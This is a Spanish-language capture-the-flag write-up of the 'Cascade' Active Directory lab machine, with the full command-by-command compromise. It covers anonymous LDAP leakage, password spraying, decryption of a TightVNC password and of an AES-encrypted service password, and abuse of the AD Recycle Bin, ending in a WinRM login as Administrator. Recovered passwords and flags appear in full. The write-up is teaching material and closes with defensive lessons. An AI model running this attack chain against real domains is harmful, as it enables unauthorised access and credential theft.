Cascade
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Cascade es un Active Directory clásico que encadena fugas de información y descifrado de credenciales, sin un solo exploit de memoria. LDAP sin autenticar filtra la contraseña (codificada en Base64) del usuarior.thompson; su acceso por SMB descubre un email que delata una cuentaTempAdmincon la misma contraseña queAdministrator, y unVNC Install.regcuyo password de TightVNC desciframos (DES-CBC con clave fija) para entrar comos.smith. Un recursoAudit$esconde un binario .NET (CascAudit.exe) que descompilamos con dotPeek: usa AES-CBC con clave e IV embebidos, lo que nos da la contraseña deArkSvc. Esa cuenta está en el grupo AD Recycle Bin, así que recuperamos el objeto borradoTempAdminy, con su contraseña reutilizada, entramos comoAdministrator.
Reconocimiento
Escaneo inicial
El ping vuelve con ttl=127, un salto por debajo del 128 típico de Windows, así que apunta a Windows (indicio, no prueba).
ping -c 1 10.10.10.182
64 bytes from 10.10.10.182: icmp_seq=1 ttl=127 time=38.5 msEl barrido UDP devuelve el trío habitual de un controlador de dominio: DNS (53), NTP (123) y LDAP (389).
nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 10.10.10.182
PORT STATE SERVICE
53/udp open domain
123/udp open ntp
389/udp open ldapEl escaneo TCP completo confirma el cuadro de Active Directory (Kerberos, LDAP, SMB, RPC, WinRM).
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.182 -oG scan
[+] Introduce una IP
10.10.10.182
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-16 17:52 UTC
Initiating SYN Stealth Scan at 17:52
Scanning 10.10.10.182 [65535 ports]
Discovered open port 139/tcp on 10.10.10.182
Discovered open port 135/tcp on 10.10.10.182
Discovered open port 53/tcp on 10.10.10.182
Discovered open port 445/tcp on 10.10.10.182
Discovered open port 88/tcp on 10.10.10.182
Discovered open port 49155/tcp on 10.10.10.182
Discovered open port 49165/tcp on 10.10.10.182
Discovered open port 49154/tcp on 10.10.10.182
Discovered open port 3268/tcp on 10.10.10.182
Discovered open port 636/tcp on 10.10.10.182
Discovered open port 49157/tcp on 10.10.10.182
Discovered open port 3269/tcp on 10.10.10.182
Discovered open port 5985/tcp on 10.10.10.182
Discovered open port 389/tcp on 10.10.10.182Y extractPorts resume ese fichero -oG y deja la lista completa en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.182
Open ports: 53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165
Ports copied to clipboardLa salida con -vvv añade la columna REASON, y ahí el ttl 127 se repite en cada puerto: es la misma pista del ping, pero ahora confirmada trece veces por la pila TCP en lugar de por un solo paquete ICMP.

PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
49155/tcp open unknown syn-ack ttl 127
49157/tcp open unknown syn-ack ttl 127
49158/tcp open unknown syn-ack ttl 127
49165/tcp open unknown syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 66.17 seconds
Raw packets sent: 327664 (14.417MB) | Rcvd: 65 (2.860KB)Los cinco puertos altos 49154-49165 no son un servicio exótico: son el rango dinámico de RPC, donde el mapeador del 135 reparte los endpoints reales. Aparecen en cualquier controlador de dominio y son la razón de que un rpcclient funcione más adelante.
Un segundo escaneo con detección de versión sitúa el sistema en un Windows Server 2008 R2.
nmap -p 53,88,135,139,389,445,636,3268,5985 -sCV 10.10.10.182
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-12-16 17:53:33Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1SMB - TCP 445
Una consulta a SMB con netexec nos da el nombre del equipo (CASC-DC1), el dominio (cascade.local) y el sistema. Lo añadimos al /etc/hosts.
netexec smb 10.10.10.182
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)Añadimos las dos entradas al /etc/hosts, el FQDN y el dominio a secas. No es cosmética: Kerberos y LDAP resuelven por nombre, y buena parte de las herramientas que vienen después fallan si el dominio no resuelve.
echo '10.10.10.182 CASC-DC1.cascade.local cascade.local' >> /etc/hosts
DNS - TCP 53
Probamos una transferencia de zona, pero falla y la enumeración DNS no aporta nombres nuevos.
dig axfr cascade.local @10.10.10.182
# dig axfr cascade.local @10.10.10.182
; <<>> DiG 9.20.15-2-Debian <<>> axfr cascade.local @10.10.10.182
;; global options: +cmd
; Transfer failed.SMB sin credenciales: sesión sí, recursos no
Antes de RPC probamos lo barato: listar recursos sin credenciales. La respuesta merece leerse con cuidado, porque no es un simple fallo.
netexec smb 10.10.10.182 -u '' -p '' --shares
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1)
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\:
SMB 10.10.10.182 445 CASC-DC1 [-] Error enumerating shares: STATUS_ACCESS_DENIEDEl [+] de la segunda línea dice que la sesión nula se establece, y el STATUS_ACCESS_DENIED de la tercera, que esa sesión no tiene permiso para listar recursos. Son dos cosas distintas: hay autenticación anónima, lo que falta es autorización. Ese matiz es justo lo que hace que valga la pena insistir por otro canal, porque un servidor que acepta la sesión nula suele exponer algo por alguna interfaz aunque sea por otra.
smbmap cuenta lo mismo desde otro ángulo, tanto anónimo como con guest:
smbmap -H 10.10.10.182 -u '' -p ''
smbmap -H 10.10.10.182 -u 'guest' -p ''
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[!] Access denied on 10.10.10.182, no fun for you...
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.10.10.182, no fun for you...La diferencia entre 1 authenticated session(s) en el anónimo y 0 en guest confirma la lectura anterior: la cuenta guest está deshabilitada, mientras que la sesión nula sí entra.
RPC - TCP 135
SMB no lista recursos, pero RPC sí permite enumerar los usuarios del dominio con rpcclient. Guardamos la lista en userlist.txt.
rpcclient -U "" cascade.local -N -c enumdomusers | grep -oP '\[(.*?)\]' | grep -v 0x | tr -d '[]' > userlist.txt
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croftPassword spraying con la propia lista (falla)
Con quince nombres, el primer intento gratis es el clásico "usuario igual a contraseña": la misma lista como diccionario de usuarios y de claves. El grep -v filtra los fallos para que solo quede lo que acierte.
netexec smb cascade.local -u userlist.txt -p userlist.txt | grep -v 'STATUS_LOGON_FAILURE' 2>/dev/null
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local)Queda solo la línea de banner: ni un [+]. Que la salida esté vacía es el resultado, y conviene enseñarlo en vez de resumirlo con un "no funcionó", porque es lo que justifica el siguiente paso. Una salvedad de laboratorio: aquí se lanzan 225 intentos sin pensárselo porque sabemos que no hay política de bloqueo. Contra un dominio real, un spray a ciegas de ese tamaño bloquea cuentas y enciende todas las alarmas; primero se consulta la política (--pass-pol) y se lanza un intento por usuario y ventana.
Acceso como r.thompson
LDAP: fuga de cascadeLegacyPwd
Una consulta LDAP sin autenticar llega a leer atributos del directorio. Filtrando por campos de contraseña aparece un atributo no estándar, cascadeLegacyPwd, en el objeto de r.thompson.
ldapsearch -x -H ldap://10.10.10.182 -b "DC=cascade,DC=local" | grep -iE 'pwd|userprincipalname'
userPrincipalName: r.thompson@cascade.local
cascadeLegacyPwd: clk0bjVldmE=El valor tiene pinta de Base64. Lo decodificamos:
echo -n 'clk0bjVldmE=' | base64 -drY4n5evaValidar la credencial
Un spray con esa contraseña sobre toda la lista de usuarios confirma que solo es válida para r.thompson. WinRM no está permitido para esta cuenta, así que tiramos de SMB.
netexec smb 10.10.10.182 -u userlist.txt -p 'rY4n5eva' --continue-on-success
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\administrator:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\arksvc:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\s.smith:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\util:rY4n5eva STATUS_LOGON_FAILURE
...Toca comprobar dónde sirve esa credencial. WinRM la rechaza:
netexec winrm 10.10.10.182 -u r.thompson -p 'rY4n5eva' 2>/dev/null
WINRM 10.10.10.182 5985 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 (name:CASC-DC1) (domain:cascade.local)
WINRM 10.10.10.182 5985 CASC-DC1 [-] cascade.local\r.thompson:rY4n5evaLa contraseña es correcta, pero falta la pertenencia a Remote Management Users, que es lo que habilita WinRM. Una credencial válida no es un acceso: hay que probarla servicio por servicio, y lo que aquí queda abierto es SMB.
El recurso Data
Con r.thompson enumeramos de nuevo los recursos: aparece uno llamado Data con permiso de lectura.
netexec smb cascade.local -u 'r.thompson' -p 'rY4n5eva' --shares
Share Permissions Remark
ADMIN$
Audit$
C$ Default share
Data READ
IPC$ Remote IPC
NETLOGON READ Logon server share
print$ READ Printer Drivers
SYSVOL READ Logon server shareNos conectamos y listamos la raíz. Hay cinco carpetas, y cuatro de las cinco están denegadas.
smbclient //10.10.10.182/data -U 'r.thompson%rY4n5eva'
smb: \> dir
Contractors D 0 Mon Jan 27 03:27:34 2020
Finance D 0 Mon Jan 13 01:45:06 2020
IT D 0 Tue Jan 28 18:04:51 2020
Production D 0 Mon Jan 13 01:45:18 2020
Temps D 0 Mon Jan 13 01:45:15 2020
smb: \> cd Contractors
smb: \Contractors\> dir
NT_STATUS_ACCESS_DENIED listing \Contractors\*
smb: \> cd Finance
NT_STATUS_ACCESS_DENIED listing \Finance\*
smb: \> cd Production
NT_STATUS_ACCESS_DENIED listing \Production\*
smb: \> cd Temps
NT_STATUS_ACCESS_DENIED listing \Temps\*Que un recurso figure como READ en la tabla de --shares solo habla del permiso del recurso, no del de cada carpeta de dentro. Aquí las ACL del sistema de ficheros dejan pasar exactamente una: IT, coherente con que r.thompson esté en el departamento de IT. Merece la pena probar carpeta a carpeta en vez de fiarse de la primera tabla.
Dentro de IT hay cuatro subdirectorios, y el primero ya paga el rato: Email Archives guarda un Meeting_Notes_June_2018.html de 2522 bytes.
smb: \IT\> dir
Email Archives D 0 Tue Jan 28 18:00:30 2020
LogonAudit D 0 Tue Jan 28 18:04:40 2020
Logs D 0 Wed Jan 29 00:53:04 2020
Temp D 0 Tue Jan 28 22:06:59 2020
smb: \IT\Email Archives\> dir
Meeting_Notes_June_2018.html An 2522 Tue Jan 28 18:00:12 2020
smb: \IT\Email Archives\> get Meeting_Notes_June_2018.html
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as Meeting_Notes_June_2018.html
Abierto en el navegador, el correo delata el detalle que lo cambia todo: se creó una cuenta temporal TempAdmin con la misma contraseña que la cuenta de administrador, a borrar al terminar la migración. Apuntamos el dato y seguimos, porque todavía no tenemos cómo usarlo.

Seguimos con el resto. LogonAudit está vacía, pero IT\Temp tiene una carpeta por usuario, y la de s.smith guarda un VNC Install.reg de 2680 bytes.
smb: \IT\Temp\> dir
r.thompson D 0 Tue Jan 28 22:06:53 2020
s.smith D 0 Tue Jan 28 20:00:01 2020
smb: \IT\Temp\> dir s.smith\
VNC Install.reg A 2680 Tue Jan 28 19:27:44 2020
smb: \IT\Temp\> get s.smith\"VNC Install.reg"
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as s.smith\VNC Install.reg
Queda Logs, y ahí hay algo que en este momento no significa nada y más tarde lo significa todo: un directorio llamado Ark AD Recycle Bin con un ArkAdRecycleBin.log, junto a los dcdiag.log del controlador.
smb: \IT\Logs\> dir
Ark AD Recycle Bin D 0 Fri Jan 10 16:33:45 2020
DCs D 0 Wed Jan 29 00:56:00 2020
smb: \IT\Logs\DCs\> get dcdiag.log
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as dcdiag.log
smb: \IT\Logs\Ark AD Recycle Bin\> get ArkAdRecycleBin.log
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as ArkAdRecycleBin.log
El nombre de esa carpeta contiene ya las dos piezas de la escalada final, "Ark" (por ArkSvc) y "AD Recycle Bin", y estamos leyéndolo con la primera credencial de la caja. Es el mejor argumento para descargarse un recurso entero y mirarlo con calma: la pista del último salto estaba disponible desde el primero.
Con los ficheros ya en local, los inspeccionamos. El VNC Install.reg guarda la contraseña del servidor TightVNC en hexadecimal.
cat 's.smith/VNC Install.reg'
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0fShell como s.smith
Descifrar la contraseña de TightVNC
El primer reflejo es tratar el hexadecimal como si fuera texto codificado y revertirlo con xxd.
echo -n 6bcf2a4b6e5aca0f | xxd -r -p
k?*KnZ?Salen ocho bytes ilegibles, y eso ya es información: si fuera una contraseña guardada en hex, al revertirla saldría ASCII imprimible. Que no salga significa que el hex no es una codificación de la contraseña, sino de su versión cifrada. Son exactamente 8 bytes, del tamaño de un bloque DES.
VNC no guarda la contraseña en claro: la cifra con DES en modo CBC usando una clave fija y conocida, la misma para todas las instalaciones. Está documentada, junto al openssl de una línea que la aprovecha:

Esa clave, e84ad660c4721ae0, no es de esta máquina ni de este usuario: viene de serie en el producto. Por eso, con el blob hexadecimal basta para recuperar la contraseña offline, sin tocar el objetivo.
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
00000000 73 54 33 33 33 76 65 32 |sT333ve2|La contraseña de s.smith es sT333ve2, y esta vez WinRM sí responde (Pwn3d!).
evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'
Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\s.smith\Documents> whoami
cascade\s.smithuser.txt
type ..\desktop\user.txt
294259912ea7f8da6488be6a7efea875Shell como ArkSvc
El recurso Audit$
Como s.smith tenemos acceso a un nuevo recurso, Audit$, que contiene la estructura de un programa: CascAudit.exe, CascCrypto.dll, una base de datos en DB\Audit.db y librerías de SQLite. Lo descargamos entero para analizarlo en local.
netexec smb 10.10.10.182 -u s.smith -p 'sT333ve2' --shares
smbclient //10.10.10.182/"Audit$" -U 's.smith%sT333ve2'
smb: \> dir
. D 0 Wed Jan 29 18:01:26 2020
.. D 0 Wed Jan 29 18:01:26 2020
CascAudit.exe An 13312 Tue Jan 28 21:46:51 2020
CascCrypto.dll An 12288 Wed Jan 29 18:00:20 2020
DB D 0 Tue Jan 28 21:40:59 2020
RunAudit.bat A 45 Tue Jan 28 23:29:47 2020
System.Data.SQLite.dll A 363520 Sun Oct 27 06:38:36 2019
System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 06:38:38 2019
x64 D 0 Sun Jan 26 22:25:27 2020
x86 D 0 Sun Jan 26 22:25:27 2020En vez de ir fichero a fichero, bajamos el árbol completo. recurse ON entra en subdirectorios y prompt OFF quita la confirmación por fichero, que es lo que hace utilizable el mget *.
recurse ON
prompt OFF
mget *
getting file \CascAudit.exe of size 13312 as CascAudit.exe
getting file \CascCrypto.dll of size 12288 as CascCrypto.dll
getting file \RunAudit.bat of size 45 as RunAudit.bat
getting file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll
getting file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll
getting file \DB\Audit.db of size 24576 as DB/Audit.db
getting file \x64\SQLite.Interop.dll of size 1639936 as x64/SQLite.Interop.dll
getting file \x86\SQLite.Interop.dll of size 1246720 as x86/SQLite.Interop.dllLa base de datos SQLite
file confirma que Audit.db es una base SQLite 3.x, así que la abrimos y listamos las tablas: hay tres, DeletedUserAudit, Ldap y Misc.
file Audit.db
sqlite3 Audit.db
sqlite> .tables
DeletedUserAudit Ldap Misc
sqlite> SELECT * FROM DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local
sqlite> SELECT * FROM Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
sqlite> SELECT * FROM Misc;La tabla DeletedUserAudit es la segunda mitad de la pista: ahí está TempAdmin, la cuenta del correo, con su distinguishedName completo bajo CN=Deleted Objects,DC=cascade,DC=local. El contenedor de objetos borrados aparece escrito, con nombre y ruta, mucho antes de que tengamos permiso para consultarlo. Entre esto, el correo y la carpeta Ark AD Recycle Bin del recurso Data, la caja lleva tres avisos dados de por dónde acaba.
La tabla Ldap guarda la contraseña de ArkSvc, con pinta de Base64. Al decodificarla sale ilegible, o sea que, igual que con VNC, no es codificación sino cifrado.
echo -n 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -dReversing de CascAudit.exe con dotPeek
RunAudit.bat confirma que CascAudit.exe consume esa base de datos. Las cadenas del binario ya filtran una clave y un mensaje de error de descifrado.
strings -e l CascAudit.exe
CascAudiot.Resources
Data Source=
SELECT * FROM LDAP
c4scadek3y654321
Error decrypting password:La cadena c4scadek3y654321 mide 16 caracteres, justo una clave AES de 128 bits, y el mensaje de error confirma que el binario descifra contraseñas. Pero strings no dice ni el algoritmo ni el modo, así que hay que abrirlo.
Como es un binario .NET, lo descompilamos con dotPeek, el descompilador gratuito de JetBrains, que solo corre en Windows. Se descarga primero en la máquina Windows 10 del laboratorio:

Después, el traslado de los binarios: se levanta un servidor HTTP en el directorio donde están y se tiran desde el navegador de la Windows.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Directory listing for /
CascAudit.exe
CascCrypto.dll
DB/
RunAudit.bat
System.Data.SQLite.dll
System.Data.SQLite.EF6.dll
x64/
x86/
Importa bajarse también las DLL, no solo el .exe: el cifrado no está en CascAudit.exe.
El .exe solo orquesta. El cifrado real vive en CascCrypto.dll: la clase Crypto usa AES en modo CBC y, además de la clave, lleva el IV embebido (DefaultIV = "1tdyjCbY1Ix49842").

Con esto tenemos las cuatro piezas que hacen falta, cada una sacada de un sitio distinto:

Alg -> AES.CBC (dotPeek, CascCrypto.dll)
Pass -> BQO5l5Kj9MdErXx6Q6AGOw== (tabla Ldap de Audit.db)
IV -> 1tdyjCbY1Ix49842 (dotPeek, DefaultIV)
KEY -> c4scadek3y654321 (strings de CascAudit.exe)Aquí está el fondo del asunto: AES-CBC es un cifrado sólido, y da igual. El programa necesita descifrar la contraseña sin intervención humana, así que la clave y el IV tienen que viajar dentro del propio artefacto. Cualquiera que pueda leer el binario, puede leer la clave. No es un fallo de AES, es que el modelo de amenaza no cierra.
Pasamos el blob por CyberChef (From Base64 → AES Decrypt, clave c4scadek3y654321, IV 1tdyjCbY1Ix49842, modo CBC):

La contraseña de ArkSvc es w3lc0meFr31nd, válida en SMB y WinRM.
netexec smb 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'
netexec winrm 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\ArkSvc:w3lc0meFr31nd
WINRM 10.10.10.182 5985 CASC-DC1 [+] cascade.local\ArkSvc:w3lc0meFr31nd (Pwn3d!)Shell como Administrator
AD Recycle Bin: recuperar TempAdmin
Ya con shell, enumeramos los grupos de ArkSvc. Aquí está el porqué del último salto: la cuenta pertenece al grupo AD Recycle Bin.
evil-winrm -i 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'
# whoami /all
*Evil-WinRM* PS C:\Users\arksvc\Documents> whoami /all
GROUP INFORMATION
-----------------
Group Name Type SID
=============================== ===== ==============================================
CASCADE\Data Share Alias S-1-5-21-3332504370-1206983947-1165150453-1138
CASCADE\IT Alias S-1-5-21-3332504370-1206983947-1165150453-1113
CASCADE\AD Recycle Bin Alias S-1-5-21-3332504370-1206983947-1165150453-1119
CASCADE\Remote Management Users Alias S-1-5-21-3332504370-1206983947-1165150453-1126Ese grupo permite leer los objetos borrados del dominio con todos sus atributos. Y recordamos el email: existió una cuenta TempAdmin con la contraseña de Administrator, después eliminada. Consultamos la papelera con Get-ADObject:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
CanonicalName : cascade.local/Deleted Objects
CN : Deleted Objects
Deleted : True
Description : Default container for deleted objects
DistinguishedName : CN=Deleted Objects,DC=cascade,DC=local
isDeleted : True
Name : Deleted Objects
ObjectClass : containerEntre los objetos borrados está TempAdmin, y conserva su cascadeLegacyPwd:

cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN : TempAdminDecodificamos el Base64 y, como anticipaba el email, esa contraseña es también la de Administrator (reutilización de credenciales entre cuentas: una clave recuperada se prueba en cada cuenta, porque compartirlas es lo habitual):
echo -n 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
evil-winrm -i 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'
# echo -n 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles
WINRM 10.10.10.182 5985 CASC-DC1 [+] cascade.local\Administrator:baCT3r1aN00dles
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cascade\administratorroot.txt
type ..\desktop\root.txt
292016f0790feea704fb4c076243df0cDominio comprometido. Máquina rooteada.
Cadena de ataque
Todo el recorrido, de LDAP sin autenticar al hash de Administrator, en un vistazo:
LDAP anónimo ─► cascadeLegacyPwd (Base64) ─► r.thompson
│ SMB share "Data": email (TempAdmin = pass de Admin) + VNC Install.reg
▼
VNC password (DES-CBC, clave fija) ─► s.smith ─► WinRM ─► user.txt
│ SMB share "Audit$": CascAudit.exe + Audit.db (ArkSvc cifrado)
▼
dotPeek: AES-CBC (clave + IV embebidos) ─► ArkSvc ─► WinRM
│ grupo AD Recycle Bin ─► Get-ADObject (objeto borrado TempAdmin)
▼
TempAdmin = Administrator (contraseña reutilizada) ─► WinRM ─► root.txtLecciones aprendidas
- LDAP sin autenticar es una fuga, no una anécdota. Leer el directorio sin credenciales nunca debería exponer contraseñas; aquí un atributo a medida (
cascadeLegacyPwd) guardaba la del usuario en Base64, que no es cifrado sino codificación. Los secretos no van en atributos del directorio, y el acceso de lectura anónimo a LDAP debe restringirse. - El cifrado "casero" con clave fija no protege nada. TightVNC cifra su contraseña con DES y una clave conocida e idéntica en todas las instalaciones;
CascAudit.exeusa AES-CBC pero con la clave y el IV embebidos en el propio binario. En ambos casos, tener el dato cifrado equivale a tenerlo en claro. La clave debe vivir fuera del artefacto (almacén de secretos, derivación con sal por instalación). - El grupo AD Recycle Bin es un grupo privilegiado. Sus miembros leen objetos borrados con todos sus atributos, así que un secreto "eliminado" sigue ahí. Tratar su pertenencia como la de cualquier grupo con poder sobre el dominio: mínima y auditada. Conecta con el abuso de AD Recycle Bin.
- Lo que sobra en la enumeración es la pista del final. La ruta a
Administratorestaba anunciada tres veces antes de poder recorrerla: el correo deMeeting_Notes_June_2018.html, la carpetaIT\Logs\Ark AD Recycle Biny la tablaDeletedUserAuditcon eldistinguishedNamedeTempAdmin. Ninguna era accionable en el momento de encontrarla. Merece la pena apuntar lo que no encaja todavía, porque el dato que no sirve en el paso dos suele ser el que cierra el paso cinco. - Reutilizar contraseñas entre cuentas se paga caro. El borrado de
TempAdminno eliminó su contraseña de la papelera, y al compartirla conAdministrator, recuperarla fue el último eslabón. Las cuentas temporales privilegiadas deben tener contraseñas únicas y, mejor, borrarse de verdad (la papelera conserva el atributo).